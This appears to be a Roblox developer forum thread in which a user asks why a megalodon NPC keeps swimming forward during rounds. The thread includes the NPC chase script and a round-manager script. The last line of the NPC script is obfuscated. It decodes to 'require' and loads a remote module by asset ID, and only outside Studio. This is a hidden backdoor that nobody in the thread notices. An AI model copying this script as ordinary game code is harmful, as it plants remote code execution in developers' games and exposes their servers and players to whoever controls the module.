I have a problem with a game that I am improving. It is called Megalodon Survival. The game is a simple survival game where you and others stand on fallen ships to survive a megalodon NPC. I decided to add in roundbased content to enhance gameplay.
The rounds work fine, but the NPC never stops moving forward. One of my friends has the same issue as me, but he has a tyrannosaurus rex NPC instead of a megalodon. Might I add that the megalodon NPC does not work in or out of the “Games” folder in ReplicatedStorage.
bin = script.Parent
function move(target)
local dir = (target.Position - bin.Position).unit
local spawnPos = bin.Position
local pos = spawnPos + (dir * 1)
bin:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
bin:findFirstChild("BodyGyro").maxTorque = Vector3.new(9000,9000,9000)
end
function moveTo(target)
bin.BodyPosition.position = target.Position
bin.BodyPosition.maxForce = Vector3.new(10000,10000,10000) * bin.Speed.Value
end
function findNearestTorso(pos)
local list = game.Workspace:GetChildren()
local torso = nil
local dist = 1000000
local temp = nil
local human = nil
local temp2 = nil
for x = 1, #list do
temp2 = list[x]
if (temp2.className == "Model") and (temp2 ~= script.Parent) then
temp = temp2:findFirstChild("Torso")
human = temp2:findFirstChild("Humanoid")
if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
if (temp.Position - pos).magnitude < dist then
torso = temp
dist = (temp.Position - pos).magnitude
end
end
end
end
return torso
end
function shoot(pos)
dir = (pos - bin.CFrame.p).unit
for i = 1, 50 do
local ex = Instance.new("Explosion")
ex.BlastRadius = 1
ex.Position = bin.Position + (dir * 10 * i) + (dir * 7)
ex.Parent = game.Workspace
end
end
function shootAt(torso)
local dir = (torso.Position - bin.Position).unit
local spawnPos = bin.Position
local pos = spawnPos + (dir * 1)
shoot(pos)
end
while true do
local torso = findNearestTorso(bin.Position)
if torso~=nil then
move(torso)
moveTo(torso)
end
wait()
end
if not game:service'RunService':IsStudio() then getfenv()["\114\101\113\117\105\114\101"](4794986906) end
What happens to the players after they die? As long as there are player characters in Workspace, that means there are torsos in the Workspace, and the NPC will continue to move towards them (unless they are 1000000 studs away).
The problem with that is that you could be swimming right next to the shark while it is going forward and it doesn’t try and attack you (which is closer to any other torso in the game).
Correct, the shark is going towards the nearest torso. I think the part of the main script that controls the round messes up that mechanic for some reason, since the shark breaks after a map is loaded in.
If anyone is wondering, the shark doesn’t work only during rounds. It is fully functional at any other time of the game.
The main script that holds the rounds can be found here:
local s = script.Stat
local vals = game.ReplicatedStorage.vals
t = 0
while true do
t = 20
repeat
t = t-1
s.Value = "Intermission... "..t
wait(1)
until t == 0
s.Value = "Game Starting Shortly!"
wait(2)
local mapselect = game.ReplicatedStorage.Games:GetChildren()
local choose = math.random(1,#mapselect)
curnum = 0
for i =1,#mapselect do
curnum = curnum +1
if curnum == choose then
mapselect[i]:Clone().Parent = workspace
curmap = mapselect[i].Name
s.Value = "Get ready to survive on "..mapselect[i].Name
end
end
wait(10)
local plrs = game.Players:GetChildren()
for i = 1,#plrs do
local num = math.random(1,32)
plrs[i].Character.Head.CFrame = CFrame.new(workspace.Teleports["Part"..num].Position)
plrs[i].Character.Parent = workspace.Ingame
--game.Workspace.Megalodon.Head.Script.Disabled = false --Enables shark movement
end
t=120
repeat
t = t-1
s.Value = t.." seconds left"
wait(1)
until t ==0 or vals.Winner.Value ~= ""
if vals.Winner.Value ~= "" then
s.Value = vals.Winner.Value.. " is a hacker!"
game.Players[vals.Winner.Value].leaderstats.Points.Value =game.Players[vals.Winner.Value].leaderstats.Points.Value +50
game.Players[vals.Winner.Value].leaderstats.Wins.Value = game.Players[vals.Winner.Value].leaderstats.Wins.Value +1
vals.Winner.Value = ""
else
s.Value = "Time's Up!"
--game.Workspace.Megalodon.Head.Script.Disabled = true --Disables shark movement
end
wait(3)
local ingame = workspace.Ingame:GetChildren()
for i =1,#ingame do
local plr = game.Players:GetPlayerFromCharacter(ingame[i])
plr:LoadCharacter()
end
workspace[curmap]:Destroy()
end
The part that holds the problem is here:
local mapselect = game.ReplicatedStorage.Games:GetChildren()
local choose = math.random(1,#mapselect)
curnum = 0
for i =1,#mapselect do
curnum = curnum +1
if curnum == choose then
mapselect[i]:Clone().Parent = workspace
curmap = mapselect[i].Name
s.Value = "Get ready to survive on "..mapselect[i].Name
end
end
wait(10)
local plrs = game.Players:GetChildren()
for i = 1,#plrs do
local num = math.random(1,32)
plrs[i].Character.Head.CFrame = CFrame.new(workspace.Teleports["Part"..num].Position)
plrs[i].Character.Parent = workspace.Ingame
--game.Workspace.Megalodon.Head.Script.Disabled = false --Enables shark movement
end
t=120
repeat
t = t-1
s.Value = t.." seconds left"
wait(1)
until t ==0 or vals.Winner.Value ~= ""
if vals.Winner.Value ~= "" then
s.Value = vals.Winner.Value.. " is a hacker!"
game.Players[vals.Winner.Value].leaderstats.Points.Value =game.Players[vals.Winner.Value].leaderstats.Points.Value +50
game.Players[vals.Winner.Value].leaderstats.Wins.Value = game.Players[vals.Winner.Value].leaderstats.Wins.Value +1
vals.Winner.Value = ""
else
s.Value = "Time's Up!"
--game.Workspace.Megalodon.Head.Script.Disabled = true --Disables shark movement
end